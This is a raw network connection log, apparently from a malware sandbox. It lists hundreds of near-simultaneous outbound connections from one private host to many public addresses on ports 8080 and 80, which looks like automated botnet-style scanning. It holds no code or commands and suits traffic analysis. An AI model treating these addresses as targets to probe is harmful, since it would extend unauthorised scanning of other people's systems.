Mar 21, 2024 05:16:56.454036951 CET	45138	8080	192.168.2.13	184.129.166.202
Mar 21, 2024 05:16:56.454036951 CET	45138	8080	192.168.2.13	98.118.25.219
Mar 21, 2024 05:16:56.454037905 CET	45138	8080	192.168.2.13	98.34.185.12
Mar 21, 2024 05:16:56.454036951 CET	45138	8080	192.168.2.13	98.70.154.16
Mar 21, 2024 05:16:56.454036951 CET	45138	8080	192.168.2.13	172.75.85.250
Mar 21, 2024 05:16:56.454046011 CET	45138	8080	192.168.2.13	172.10.216.70
Mar 21, 2024 05:16:56.454046011 CET	45394	80	192.168.2.13	213.64.137.196
Mar 21, 2024 05:16:56.454046011 CET	45138	8080	192.168.2.13	172.17.47.242
Mar 21, 2024 05:16:56.454090118 CET	45394	80	192.168.2.13	213.22.229.22
Mar 21, 2024 05:16:56.454090118 CET	45138	8080	192.168.2.13	184.157.65.197
Mar 21, 2024 05:16:56.454092026 CET	45138	8080	192.168.2.13	98.87.180.1
Mar 21, 2024 05:16:56.454092026 CET	45138	8080	192.168.2.13	172.87.71.105
Mar 21, 2024 05:16:56.454092026 CET	45138	8080	192.168.2.13	98.68.254.197
Mar 21, 2024 05:16:56.454096079 CET	45138	8080	192.168.2.13	172.180.151.236
Mar 21, 2024 05:16:56.454096079 CET	45138	8080	192.168.2.13	184.92.154.62
Mar 21, 2024 05:16:56.454096079 CET	45138	8080	192.168.2.13	172.229.63.222
Mar 21, 2024 05:16:56.454096079 CET	45394	80	192.168.2.13	213.141.122.20
Mar 21, 2024 05:16:56.454096079 CET	45138	8080	192.168.2.13	184.81.31.235
Mar 21, 2024 05:16:56.454103947 CET	45138	8080	192.168.2.13	184.90.161.105
Mar 21, 2024 05:16:56.454104900 CET	45138	8080	192.168.2.13	98.243.20.126
Mar 21, 2024 05:16:56.454104900 CET	45394	80	192.168.2.13	213.243.48.40
Mar 21, 2024 05:16:56.454112053 CET	45138	8080	192.168.2.13	172.0.42.32
Mar 21, 2024 05:16:56.454112053 CET	45138	8080	192.168.2.13	172.51.253.223
Mar 21, 2024 05:16:56.454112053 CET	45138	8080	192.168.2.13	184.239.230.82
Mar 21, 2024 05:16:56.454112053 CET	45138	8080	192.168.2.13	184.64.21.29
Mar 21, 2024 05:16:56.454112053 CET	45138	8080	192.168.2.13	172.216.125.180
Mar 21, 2024 05:16:56.454123974 CET	45138	8080	192.168.2.13	98.119.255.195
Mar 21, 2024 05:16:56.454123974 CET	45138	8080	192.168.2.13	184.155.127.163
Mar 21, 2024 05:16:56.454123974 CET	45394	80	192.168.2.13	213.29.136.68
Mar 21, 2024 05:16:56.454123974 CET	45138	8080	192.168.2.13	98.177.212.109
Mar 21, 2024 05:16:56.454124928 CET	45138	8080	192.168.2.13	184.99.146.219
Mar 21, 2024 05:16:56.454128027 CET	45394	80	192.168.2.13	213.252.206.176
Mar 21, 2024 05:16:56.454128981 CET	45138	8080	192.168.2.13	172.29.251.90
Mar 21, 2024 05:16:56.454128027 CET	45138	8080	192.168.2.13	98.83.242.81
Mar 21, 2024 05:16:56.454128981 CET	45138	8080	192.168.2.13	184.159.153.181
Mar 21, 2024 05:16:56.454129934 CET	45138	8080	192.168.2.13	172.120.151.167
Mar 21, 2024 05:16:56.454128027 CET	45138	8080	192.168.2.13	184.109.69.255
Mar 21, 2024 05:16:56.454128981 CET	45138	8080	192.168.2.13	172.0.181.47
Mar 21, 2024 05:16:56.454128027 CET	45138	8080	192.168.2.13	172.9.236.171
Mar 21, 2024 05:16:56.454129934 CET	45138	8080	192.168.2.13	172.176.10.230
Mar 21, 2024 05:16:56.454129934 CET	45394	80	192.168.2.13	213.46.190.155
Mar 21, 2024 05:16:56.454128027 CET	45138	8080	192.168.2.13	172.89.111.239
Mar 21, 2024 05:16:56.454129934 CET	45138	8080	192.168.2.13	98.90.229.45
Mar 21, 2024 05:16:56.454128027 CET	45138	8080	192.168.2.13	172.97.231.184
Mar 21, 2024 05:16:56.454129934 CET	45138	8080	192.168.2.13	98.30.54.243
Mar 21, 2024 05:16:56.454129934 CET	45138	8080	192.168.2.13	98.176.44.209
Mar 21, 2024 05:16:56.454129934 CET	45138	8080	192.168.2.13	172.67.38.0
Mar 21, 2024 05:16:56.454129934 CET	45138	8080	192.168.2.13	184.175.82.139
Mar 21, 2024 05:16:56.454129934 CET	45394	80	192.168.2.13	213.1.1.176
Mar 21, 2024 05:16:56.454144001 CET	45138	8080	192.168.2.13	184.34.49.80
Mar 21, 2024 05:16:56.454144955 CET	45138	8080	192.168.2.13	98.207.1.150
Mar 21, 2024 05:16:56.454145908 CET	45138	8080	192.168.2.13	172.7.38.91
Mar 21, 2024 05:16:56.454145908 CET	45138	8080	192.168.2.13	98.153.60.245
Mar 21, 2024 05:16:56.454145908 CET	45138	8080	192.168.2.13	98.46.46.117
Mar 21, 2024 05:16:56.454148054 CET	45138	8080	192.168.2.13	98.222.45.8
Mar 21, 2024 05:16:56.454148054 CET	45138	8080	192.168.2.13	98.116.200.79
Mar 21, 2024 05:16:56.454148054 CET	45138	8080	192.168.2.13	184.188.126.126
Mar 21, 2024 05:16:56.454149961 CET	45138	8080	192.168.2.13	184.58.189.98
Mar 21, 2024 05:16:56.454149961 CET	45138	8080	192.168.2.13	184.234.201.115
Mar 21, 2024 05:16:56.454149961 CET	45138	8080	192.168.2.13	172.221.108.210
Mar 21, 2024 05:16:56.454149961 CET	45138	8080	192.168.2.13	172.187.90.28
Mar 21, 2024 05:16:56.454149961 CET	45138	8080	192.168.2.13	184.24.80.109
Mar 21, 2024 05:16:56.454161882 CET	45394	80	192.168.2.13	213.183.181.33
Mar 21, 2024 05:16:56.454161882 CET	45138	8080	192.168.2.13	98.156.247.189
Mar 21, 2024 05:16:56.454161882 CET	45394	80	192.168.2.13	213.141.69.216
Mar 21, 2024 05:16:56.454161882 CET	45138	8080	192.168.2.13	172.65.189.188
Mar 21, 2024 05:16:56.454161882 CET	45394	80	192.168.2.13	213.161.226.82
Mar 21, 2024 05:16:56.454161882 CET	45394	80	192.168.2.13	213.235.67.93
Mar 21, 2024 05:16:56.454174995 CET	45394	80	192.168.2.13	213.68.154.254
Mar 21, 2024 05:16:56.454179049 CET	45138	8080	192.168.2.13	172.83.177.161
Mar 21, 2024 05:16:56.454179049 CET	45138	8080	192.168.2.13	184.65.233.205
Mar 21, 2024 05:16:56.454179049 CET	45138	8080	192.168.2.13	98.20.198.152
Mar 21, 2024 05:16:56.454185963 CET	45138	8080	192.168.2.13	172.147.86.196
Mar 21, 2024 05:16:56.454185963 CET	45138	8080	192.168.2.13	184.244.132.115
Mar 21, 2024 05:16:56.454191923 CET	45138	8080	192.168.2.13	184.201.148.216
Mar 21, 2024 05:16:56.454197884 CET	45138	8080	192.168.2.13	98.226.242.67
Mar 21, 2024 05:16:56.454197884 CET	45394	80	192.168.2.13	213.101.143.239
Mar 21, 2024 05:16:56.454200983 CET	45138	8080	192.168.2.13	184.35.99.117
Mar 21, 2024 05:16:56.454200983 CET	45138	8080	192.168.2.13	184.39.23.54
Mar 21, 2024 05:16:56.454200983 CET	45138	8080	192.168.2.13	98.88.97.37
Mar 21, 2024 05:16:56.454200983 CET	45138	8080	192.168.2.13	98.149.249.144
Mar 21, 2024 05:16:56.454200983 CET	45138	8080	192.168.2.13	184.149.185.35
Mar 21, 2024 05:16:56.454200983 CET	45138	8080	192.168.2.13	98.193.32.242
Mar 21, 2024 05:16:56.454200983 CET	45394	80	192.168.2.13	213.186.188.231
Mar 21, 2024 05:16:56.454216003 CET	45138	8080	192.168.2.13	184.130.70.25
Mar 21, 2024 05:16:56.454216003 CET	45138	8080	192.168.2.13	172.45.44.65
Mar 21, 2024 05:16:56.454216003 CET	45138	8080	192.168.2.13	184.58.152.148
Mar 21, 2024 05:16:56.454216003 CET	45138	8080	192.168.2.13	98.217.37.18
Mar 21, 2024 05:16:56.454216003 CET	45138	8080	192.168.2.13	184.165.72.138
Mar 21, 2024 05:16:56.454220057 CET	45138	8080	192.168.2.13	184.178.124.190
Mar 21, 2024 05:16:56.454226017 CET	45138	8080	192.168.2.13	98.196.233.243
Mar 21, 2024 05:16:56.454226017 CET	45138	8080	192.168.2.13	184.193.139.62
Mar 21, 2024 05:16:56.454226017 CET	45394	80	192.168.2.13	213.100.66.233
Mar 21, 2024 05:16:56.454226017 CET	45138	8080	192.168.2.13	172.200.52.253
Mar 21, 2024 05:16:56.454226017 CET	45138	8080	192.168.2.13	184.63.82.254
Mar 21, 2024 05:16:56.454226017 CET	45138	8080	192.168.2.13	172.118.18.130
Mar 21, 2024 05:16:56.454226017 CET	45138	8080	192.168.2.13	98.230.103.141
Mar 21, 2024 05:16:56.454232931 CET	45138	8080	192.168.2.13	172.206.133.244
Mar 21, 2024 05:16:56.454241991 CET	45394	80	192.168.2.13	213.254.154.98
Mar 21, 2024 05:16:56.454246044 CET	45138	8080	192.168.2.13	184.226.23.112
Mar 21, 2024 05:16:56.454246044 CET	45394	80	192.168.2.13	213.167.194.106
Mar 21, 2024 05:16:56.454246044 CET	45138	8080	192.168.2.13	184.15.7.89
Mar 21, 2024 05:16:56.454246044 CET	45394	80	192.168.2.13	213.54.142.117
Mar 21, 2024 05:16:56.454246044 CET	45138	8080	192.168.2.13	184.55.15.248
Mar 21, 2024 05:16:56.454257011 CET	45138	8080	192.168.2.13	98.56.96.221
Mar 21, 2024 05:16:56.454262972 CET	45138	8080	192.168.2.13	184.205.70.57
Mar 21, 2024 05:16:56.454263926 CET	45138	8080	192.168.2.13	98.219.211.235
Mar 21, 2024 05:16:56.454269886 CET	45138	8080	192.168.2.13	184.60.100.25
Mar 21, 2024 05:16:56.454269886 CET	45394	80	192.168.2.13	213.146.2.48
Mar 21, 2024 05:16:56.454269886 CET	45138	8080	192.168.2.13	172.69.25.35
Mar 21, 2024 05:16:56.454272032 CET	45138	8080	192.168.2.13	172.142.61.57
Mar 21, 2024 05:16:56.454272032 CET	45138	8080	192.168.2.13	172.114.222.33
Mar 21, 2024 05:16:56.454272032 CET	45138	8080	192.168.2.13	98.198.166.201
Mar 21, 2024 05:16:56.454297066 CET	45138	8080	192.168.2.13	184.31.114.216
Mar 21, 2024 05:16:56.454302073 CET	45394	80	192.168.2.13	213.130.162.98
Mar 21, 2024 05:16:56.454308033 CET	45394	80	192.168.2.13	213.112.57.147
Mar 21, 2024 05:16:56.454313040 CET	45138	8080	192.168.2.13	184.147.38.165
Mar 21, 2024 05:16:56.454319000 CET	45138	8080	192.168.2.13	172.103.97.249
Mar 21, 2024 05:16:56.454329014 CET	45138	8080	192.168.2.13	184.187.110.188
Mar 21, 2024 05:16:56.454329967 CET	45394	80	192.168.2.13	213.211.223.215
Mar 21, 2024 05:16:56.454339981 CET	45394	80	192.168.2.13	213.215.142.85
Mar 21, 2024 05:16:56.454350948 CET	45138	8080	192.168.2.13	98.58.154.248
Mar 21, 2024 05:16:56.454353094 CET	45138	8080	192.168.2.13	172.176.17.200
Mar 21, 2024 05:16:56.454354048 CET	45138	8080	192.168.2.13	98.177.226.192
Mar 21, 2024 05:16:56.454353094 CET	45138	8080	192.168.2.13	184.3.34.21
Mar 21, 2024 05:16:56.454353094 CET	45138	8080	192.168.2.13	98.120.110.89
Mar 21, 2024 05:16:56.454358101 CET	45138	8080	192.168.2.13	98.209.74.22
Mar 21, 2024 05:16:56.454359055 CET	45138	8080	192.168.2.13	98.69.194.105
Mar 21, 2024 05:16:56.454359055 CET	45138	8080	192.168.2.13	184.80.96.136
Mar 21, 2024 05:16:56.454364061 CET	45394	80	192.168.2.13	213.61.56.42
Mar 21, 2024 05:16:56.454364061 CET	45138	8080	192.168.2.13	98.36.199.95
Mar 21, 2024 05:16:56.454372883 CET	45138	8080	192.168.2.13	98.118.174.181
Mar 21, 2024 05:16:56.454374075 CET	45138	8080	192.168.2.13	98.142.35.34
Mar 21, 2024 05:16:56.454375982 CET	45138	8080	192.168.2.13	184.0.64.75
Mar 21, 2024 05:16:56.454377890 CET	45394	80	192.168.2.13	213.180.73.124
Mar 21, 2024 05:16:56.454387903 CET	45138	8080	192.168.2.13	98.131.149.203
Mar 21, 2024 05:16:56.454456091 CET	45394	80	192.168.2.13	213.4.223.16
Mar 21, 2024 05:16:56.454476118 CET	45138	8080	192.168.2.13	184.144.105.201
Mar 21, 2024 05:16:56.454476118 CET	45138	8080	192.168.2.13	184.213.239.220
Mar 21, 2024 05:16:56.454476118 CET	45138	8080	192.168.2.13	184.52.125.227
Mar 21, 2024 05:16:56.454476118 CET	45138	8080	192.168.2.13	98.95.176.176
Mar 21, 2024 05:16:56.454476118 CET	45138	8080	192.168.2.13	98.34.182.219
Mar 21, 2024 05:16:56.454476118 CET	45138	8080	192.168.2.13	184.207.128.161
Mar 21, 2024 05:16:56.454479933 CET	45138	8080	192.168.2.13	172.83.144.178
Mar 21, 2024 05:16:56.454477072 CET	45138	8080	192.168.2.13	98.129.75.143
Mar 21, 2024 05:16:56.454480886 CET	45138	8080	192.168.2.13	172.160.93.251
Mar 21, 2024 05:16:56.454482079 CET	45394	80	192.168.2.13	213.33.26.138
Mar 21, 2024 05:16:56.454480886 CET	45138	8080	192.168.2.13	172.213.56.64
Mar 21, 2024 05:16:56.454477072 CET	45138	8080	192.168.2.13	184.137.244.43
Mar 21, 2024 05:16:56.454480886 CET	45138	8080	192.168.2.13	98.217.52.215
Mar 21, 2024 05:16:56.454480886 CET	45138	8080	192.168.2.13	172.192.97.14
Mar 21, 2024 05:16:56.454485893 CET	45394	80	192.168.2.13	213.114.151.179
Mar 21, 2024 05:16:56.454485893 CET	45138	8080	192.168.2.13	172.255.2.70
Mar 21, 2024 05:16:56.454485893 CET	45138	8080	192.168.2.13	172.164.20.134
Mar 21, 2024 05:16:56.454485893 CET	45138	8080	192.168.2.13	184.168.116.191
Mar 21, 2024 05:16:56.454485893 CET	45138	8080	192.168.2.13	172.136.243.207
Mar 21, 2024 05:16:56.454485893 CET	45138	8080	192.168.2.13	98.20.198.241
Mar 21, 2024 05:16:56.454485893 CET	45138	8080	192.168.2.13	172.113.165.185
Mar 21, 2024 05:16:56.454485893 CET	45394	80	192.168.2.13	213.91.29.7
Mar 21, 2024 05:16:56.454492092 CET	45394	80	192.168.2.13	213.41.74.148
Mar 21, 2024 05:16:56.454503059 CET	45138	8080	192.168.2.13	98.215.135.216
Mar 21, 2024 05:16:56.454520941 CET	45138	8080	192.168.2.13	172.204.134.197
Mar 21, 2024 05:16:56.454520941 CET	45138	8080	192.168.2.13	172.98.183.94
Mar 21, 2024 05:16:56.454521894 CET	45138	8080	192.168.2.13	172.178.181.231
Mar 21, 2024 05:16:56.454521894 CET	45138	8080	192.168.2.13	172.58.234.92
Mar 21, 2024 05:16:56.454521894 CET	45394	80	192.168.2.13	213.7.142.68
Mar 21, 2024 05:16:56.454521894 CET	45138	8080	192.168.2.13	184.58.151.118
Mar 21, 2024 05:16:56.454525948 CET	45138	8080	192.168.2.13	98.235.162.9
Mar 21, 2024 05:16:56.454524994 CET	45138	8080	192.168.2.13	172.70.210.150
Mar 21, 2024 05:16:56.454528093 CET	45138	8080	192.168.2.13	98.228.145.3
Mar 21, 2024 05:16:56.454525948 CET	45138	8080	192.168.2.13	172.99.11.78
Mar 21, 2024 05:16:56.454528093 CET	45394	80	192.168.2.13	213.53.106.12
Mar 21, 2024 05:16:56.454530001 CET	45138	8080	192.168.2.13	172.164.152.146
Mar 21, 2024 05:16:56.454526901 CET	45138	8080	192.168.2.13	172.179.130.215
Mar 21, 2024 05:16:56.454521894 CET	45138	8080	192.168.2.13	98.19.112.207
Mar 21, 2024 05:16:56.454525948 CET	45394	80	192.168.2.13	213.77.14.152
Mar 21, 2024 05:16:56.454530001 CET	45138	8080	192.168.2.13	98.70.240.185
Mar 21, 2024 05:16:56.454526901 CET	45138	8080	192.168.2.13	98.144.158.190
Mar 21, 2024 05:16:56.454528093 CET	45138	8080	192.168.2.13	98.47.163.127
Mar 21, 2024 05:16:56.454521894 CET	45394	80	192.168.2.13	213.33.9.21
Mar 21, 2024 05:16:56.454530001 CET	45138	8080	192.168.2.13	184.44.73.139
Mar 21, 2024 05:16:56.454525948 CET	45138	8080	192.168.2.13	172.250.16.172
Mar 21, 2024 05:16:56.454526901 CET	45138	8080	192.168.2.13	172.59.158.66
Mar 21, 2024 05:16:56.454545021 CET	45138	8080	192.168.2.13	98.89.221.93
Mar 21, 2024 05:16:56.454526901 CET	45138	8080	192.168.2.13	172.26.34.246
Mar 21, 2024 05:16:56.454545021 CET	45394	80	192.168.2.13	213.112.141.30
Mar 21, 2024 05:16:56.454526901 CET	45138	8080	192.168.2.13	184.25.167.36
Mar 21, 2024 05:16:56.454525948 CET	45138	8080	192.168.2.13	184.89.136.72
Mar 21, 2024 05:16:56.454528093 CET	45394	80	192.168.2.13	213.141.49.75
Mar 21, 2024 05:16:56.454530001 CET	45394	80	192.168.2.13	213.200.233.4
Mar 21, 2024 05:16:56.454544067 CET	45138	8080	192.168.2.13	98.239.59.123
Mar 21, 2024 05:16:56.454525948 CET	45138	8080	192.168.2.13	184.220.209.221
Mar 21, 2024 05:16:56.454526901 CET	45138	8080	192.168.2.13	184.21.23.117
Mar 21, 2024 05:16:56.454525948 CET	45394	80	192.168.2.13	213.24.117.169
Mar 21, 2024 05:16:56.454528093 CET	45138	8080	192.168.2.13	98.195.49.85
Mar 21, 2024 05:16:56.454526901 CET	45138	8080	192.168.2.13	98.198.222.121
Mar 21, 2024 05:16:56.454525948 CET	45394	80	192.168.2.13	213.215.151.2
Mar 21, 2024 05:16:56.454530001 CET	45394	80	192.168.2.13	213.87.117.143
Mar 21, 2024 05:16:56.454528093 CET	45138	8080	192.168.2.13	172.155.34.193
Mar 21, 2024 05:16:56.454530001 CET	45138	8080	192.168.2.13	184.96.170.183
Mar 21, 2024 05:16:56.454571009 CET	45138	8080	192.168.2.13	184.175.3.160
Mar 21, 2024 05:16:56.454571962 CET	45394	80	192.168.2.13	213.243.99.82
Mar 21, 2024 05:16:56.454571962 CET	45138	8080	192.168.2.13	172.118.10.231
Mar 21, 2024 05:16:56.454571962 CET	45138	8080	192.168.2.13	98.186.239.51
Mar 21, 2024 05:16:56.454571962 CET	45394	80	192.168.2.13	213.180.3.50
Mar 21, 2024 05:16:56.454571962 CET	45138	8080	192.168.2.13	172.18.131.13
Mar 21, 2024 05:16:56.454571962 CET	45138	8080	192.168.2.13	184.89.100.103
Mar 21, 2024 05:16:56.454607964 CET	45138	8080	192.168.2.13	184.228.111.123
Mar 21, 2024 05:16:56.454616070 CET	45138	8080	192.168.2.13	172.196.0.173
Mar 21, 2024 05:16:56.454616070 CET	45138	8080	192.168.2.13	98.120.46.205
Mar 21, 2024 05:16:56.454616070 CET	45138	8080	192.168.2.13	184.67.95.170
Mar 21, 2024 05:16:56.454619884 CET	45394	80	192.168.2.13	213.204.229.0
Mar 21, 2024 05:16:56.454619884 CET	45138	8080	192.168.2.13	98.212.174.152
Mar 21, 2024 05:16:56.454628944 CET	45138	8080	192.168.2.13	184.153.65.81
Mar 21, 2024 05:16:56.454628944 CET	45394	80	192.168.2.13	213.130.135.178
Mar 21, 2024 05:16:56.454628944 CET	45394	80	192.168.2.13	213.133.7.140
Mar 21, 2024 05:16:56.454639912 CET	45138	8080	192.168.2.13	98.191.83.40
Mar 21, 2024 05:16:56.454643011 CET	45394	80	192.168.2.13	213.172.123.152
Mar 21, 2024 05:16:56.454643011 CET	45138	8080	192.168.2.13	172.245.211.82
Mar 21, 2024 05:16:56.454648972 CET	45394	80	192.168.2.13	213.184.81.229
Mar 21, 2024 05:16:56.454643011 CET	45138	8080	192.168.2.13	98.173.125.73
Mar 21, 2024 05:16:56.454643011 CET	45138	8080	192.168.2.13	184.60.106.95
Mar 21, 2024 05:16:56.454643011 CET	45394	80	192.168.2.13	213.101.214.235
Mar 21, 2024 05:16:56.454643011 CET	45138	8080	192.168.2.13	172.204.205.52
Mar 21, 2024 05:16:56.454667091 CET	45138	8080	192.168.2.13	172.90.102.164
Mar 21, 2024 05:16:56.454667091 CET	45138	8080	192.168.2.13	184.131.64.36
Mar 21, 2024 05:16:56.454667091 CET	45138	8080	192.168.2.13	184.59.102.34
Mar 21, 2024 05:16:56.454673052 CET	45394	80	192.168.2.13	213.245.78.238
Mar 21, 2024 05:16:56.454674959 CET	45138	8080	192.168.2.13	172.55.125.208
Mar 21, 2024 05:16:56.454674959 CET	45138	8080	192.168.2.13	172.211.197.129
Mar 21, 2024 05:16:56.454674959 CET	45138	8080	192.168.2.13	184.206.7.73
Mar 21, 2024 05:16:56.454674959 CET	45138	8080	192.168.2.13	184.33.253.214
Mar 21, 2024 05:16:56.454674959 CET	45138	8080	192.168.2.13	184.23.91.135
Mar 21, 2024 05:16:56.454675913 CET	45394	80	192.168.2.13	213.77.137.182
Mar 21, 2024 05:16:56.454684973 CET	45138	8080	192.168.2.13	184.62.191.179
Mar 21, 2024 05:16:56.454684973 CET	45394	80	192.168.2.13	213.82.98.177
Mar 21, 2024 05:16:56.454751015 CET	45138	8080	192.168.2.13	184.36.42.115
Mar 21, 2024 05:16:56.454751015 CET	45138	8080	192.168.2.13	172.63.162.87
Mar 21, 2024 05:16:56.454751015 CET	45138	8080	192.168.2.13	184.102.224.135
Mar 21, 2024 05:16:56.454751015 CET	45394	80	192.168.2.13	213.46.206.21
Mar 21, 2024 05:16:56.454754114 CET	45138	8080	192.168.2.13	184.246.215.50
Mar 21, 2024 05:16:56.454755068 CET	45138	8080	192.168.2.13	172.221.125.204
Mar 21, 2024 05:16:56.454757929 CET	45138	8080	192.168.2.13	98.87.34.88
Mar 21, 2024 05:16:56.454757929 CET	45394	80	192.168.2.13	213.169.213.77
Mar 21, 2024 05:16:56.454758883 CET	45138	8080	192.168.2.13	184.48.62.11
Mar 21, 2024 05:16:56.454757929 CET	45138	8080	192.168.2.13	98.231.175.214
Mar 21, 2024 05:16:56.454757929 CET	45138	8080	192.168.2.13	172.21.173.15
Mar 21, 2024 05:16:56.454757929 CET	45138	8080	192.168.2.13	184.37.233.46
Mar 21, 2024 05:16:56.454758883 CET	45138	8080	192.168.2.13	172.75.37.150
Mar 21, 2024 05:16:56.454758883 CET	45138	8080	192.168.2.13	172.143.203.118
Mar 21, 2024 05:16:56.454757929 CET	45138	8080	192.168.2.13	184.237.125.148
Mar 21, 2024 05:16:56.454758883 CET	45138	8080	192.168.2.13	172.250.20.216
Mar 21, 2024 05:16:56.454757929 CET	45138	8080	192.168.2.13	98.119.182.19
Mar 21, 2024 05:16:56.454767942 CET	45394	80	192.168.2.13	213.42.81.36
Mar 21, 2024 05:16:56.454767942 CET	45138	8080	192.168.2.13	184.164.248.156
Mar 21, 2024 05:16:56.454767942 CET	45138	8080	192.168.2.13	98.231.157.141
Mar 21, 2024 05:16:56.454767942 CET	45138	8080	192.168.2.13	184.21.220.87
Mar 21, 2024 05:16:56.454767942 CET	45138	8080	192.168.2.13	184.140.100.10
Mar 21, 2024 05:16:56.454782009 CET	45138	8080	192.168.2.13	184.111.155.228
Mar 21, 2024 05:16:56.454782963 CET	45138	8080	192.168.2.13	184.161.58.226
Mar 21, 2024 05:16:56.454782963 CET	45138	8080	192.168.2.13	98.241.237.229
Mar 21, 2024 05:16:56.454782963 CET	45138	8080	192.168.2.13	98.142.144.5
Mar 21, 2024 05:16:56.454782963 CET	45138	8080	192.168.2.13	184.28.195.39
Mar 21, 2024 05:16:56.454786062 CET	45138	8080	192.168.2.13	184.22.219.125
Mar 21, 2024 05:16:56.454787016 CET	45138	8080	192.168.2.13	98.87.156.209
Mar 21, 2024 05:16:56.454786062 CET	45138	8080	192.168.2.13	172.136.198.109
Mar 21, 2024 05:16:56.454787016 CET	45138	8080	192.168.2.13	98.18.197.219
Mar 21, 2024 05:16:56.454786062 CET	45138	8080	192.168.2.13	172.138.210.24
Mar 21, 2024 05:16:56.454786062 CET	45138	8080	192.168.2.13	172.198.126.162
Mar 21, 2024 05:16:56.454787016 CET	45138	8080	192.168.2.13	184.9.38.57
Mar 21, 2024 05:16:56.454787016 CET	45138	8080	192.168.2.13	184.186.88.77
Mar 21, 2024 05:16:56.454787016 CET	45138	8080	192.168.2.13	184.239.200.142
Mar 21, 2024 05:16:56.454797983 CET	45138	8080	192.168.2.13	172.224.78.197
Mar 21, 2024 05:16:56.454797983 CET	45138	8080	192.168.2.13	184.109.156.135
Mar 21, 2024 05:16:56.454797983 CET	45138	8080	192.168.2.13	172.74.49.74
Mar 21, 2024 05:16:56.454799891 CET	45138	8080	192.168.2.13	172.35.208.99
Mar 21, 2024 05:16:56.454802036 CET	45394	80	192.168.2.13	213.47.213.82
Mar 21, 2024 05:16:56.454799891 CET	45138	8080	192.168.2.13	172.80.44.36
Mar 21, 2024 05:16:56.454799891 CET	45138	8080	192.168.2.13	172.231.93.9
Mar 21, 2024 05:16:56.454803944 CET	45138	8080	192.168.2.13	184.254.175.104
Mar 21, 2024 05:16:56.454802036 CET	45138	8080	192.168.2.13	184.12.47.90
Mar 21, 2024 05:16:56.454799891 CET	45138	8080	192.168.2.13	172.226.192.148
Mar 21, 2024 05:16:56.454804897 CET	45394	80	192.168.2.13	213.131.109.7
Mar 21, 2024 05:16:56.454807043 CET	45394	80	192.168.2.13	213.53.218.19
Mar 21, 2024 05:16:56.454802036 CET	45138	8080	192.168.2.13	172.216.166.70
Mar 21, 2024 05:16:56.454807043 CET	45138	8080	192.168.2.13	98.152.62.245
Mar 21, 2024 05:16:56.454804897 CET	45138	8080	192.168.2.13	172.162.193.109
Mar 21, 2024 05:16:56.454804897 CET	45138	8080	192.168.2.13	172.81.109.18
Mar 21, 2024 05:16:56.454804897 CET	45394	80	192.168.2.13	213.214.73.152
Mar 21, 2024 05:16:56.454802036 CET	45394	80	192.168.2.13	213.128.50.62
Mar 21, 2024 05:16:56.454807043 CET	45394	80	192.168.2.13	213.228.249.79
Mar 21, 2024 05:16:56.454802036 CET	45138	8080	192.168.2.13	172.98.182.12
Mar 21, 2024 05:16:56.454802036 CET	45138	8080	192.168.2.13	172.78.117.241
Mar 21, 2024 05:16:56.454799891 CET	45394	80	192.168.2.13	213.167.213.29
Mar 21, 2024 05:16:56.454802036 CET	45138	8080	192.168.2.13	184.238.229.84
Mar 21, 2024 05:16:56.454807043 CET	45138	8080	192.168.2.13	184.3.25.235
Mar 21, 2024 05:16:56.454807043 CET	45138	8080	192.168.2.13	172.235.215.198
Mar 21, 2024 05:16:56.454807043 CET	45138	8080	192.168.2.13	172.128.215.190
Mar 21, 2024 05:16:56.454807043 CET	45138	8080	192.168.2.13	172.225.16.128
Mar 21, 2024 05:16:56.454807043 CET	45138	8080	192.168.2.13	184.16.35.111
Mar 21, 2024 05:16:56.454822063 CET	45138	8080	192.168.2.13	172.189.160.157
Mar 21, 2024 05:16:56.454826117 CET	45138	8080	192.168.2.13	98.104.23.132
Mar 21, 2024 05:16:56.454827070 CET	45138	8080	192.168.2.13	98.42.136.30
Mar 21, 2024 05:16:56.454842091 CET	45394	80	192.168.2.13	213.142.124.226
Mar 21, 2024 05:16:56.454849005 CET	45138	8080	192.168.2.13	98.148.99.82
Mar 21, 2024 05:16:56.454849958 CET	45138	8080	192.168.2.13	172.218.131.103
Mar 21, 2024 05:16:56.454858065 CET	45394	80	192.168.2.13	213.222.236.194
Mar 21, 2024 05:16:56.454858065 CET	45138	8080	192.168.2.13	172.8.225.62
Mar 21, 2024 05:16:56.454858065 CET	45394	80	192.168.2.13	213.176.216.129
Mar 21, 2024 05:16:56.454858065 CET	45138	8080	192.168.2.13	184.90.67.91
Mar 21, 2024 05:16:56.454858065 CET	45138	8080	192.168.2.13	184.87.24.166
Mar 21, 2024 05:16:56.454858065 CET	45138	8080	192.168.2.13	172.230.67.3
Mar 21, 2024 05:16:56.454863071 CET	45138	8080	192.168.2.13	172.65.187.190
Mar 21, 2024 05:16:56.454863071 CET	45138	8080	192.168.2.13	98.222.247.239
Mar 21, 2024 05:16:56.454863071 CET	45394	80	192.168.2.13	213.56.154.95
Mar 21, 2024 05:16:56.454863071 CET	45394	80	192.168.2.13	213.62.218.10
Mar 21, 2024 05:16:56.454863071 CET	45138	8080	192.168.2.13	98.72.143.85
Mar 21, 2024 05:16:56.454868078 CET	45138	8080	192.168.2.13	184.244.162.120
Mar 21, 2024 05:16:56.454868078 CET	45138	8080	192.168.2.13	172.129.61.113
Mar 21, 2024 05:16:56.454873085 CET	45138	8080	192.168.2.13	98.33.111.121
Mar 21, 2024 05:16:56.454886913 CET	45138	8080	192.168.2.13	172.83.18.222
Mar 21, 2024 05:16:56.454886913 CET	45138	8080	192.168.2.13	98.163.67.40
Mar 21, 2024 05:16:56.454886913 CET	45138	8080	192.168.2.13	98.212.149.247
Mar 21, 2024 05:16:56.454886913 CET	45138	8080	192.168.2.13	184.232.214.154
Mar 21, 2024 05:16:56.454886913 CET	45138	8080	192.168.2.13	172.222.42.189
Mar 21, 2024 05:16:56.454895020 CET	45394	80	192.168.2.13	213.202.173.193
Mar 21, 2024 05:16:56.454901934 CET	45138	8080	192.168.2.13	98.241.234.10
Mar 21, 2024 05:16:56.454905987 CET	45394	80	192.168.2.13	213.17.212.224
Mar 21, 2024 05:16:56.454922915 CET	45138	8080	192.168.2.13	172.76.137.42
Mar 21, 2024 05:16:56.454922915 CET	45138	8080	192.168.2.13	98.102.60.96
Mar 21, 2024 05:16:56.454922915 CET	45138	8080	192.168.2.13	184.3.111.138
Mar 21, 2024 05:16:56.454922915 CET	45394	80	192.168.2.13	213.230.205.174
Mar 21, 2024 05:16:56.454922915 CET	45138	8080	192.168.2.13	98.44.104.13
Mar 21, 2024 05:16:56.454929113 CET	45394	80	192.168.2.13	213.230.109.159
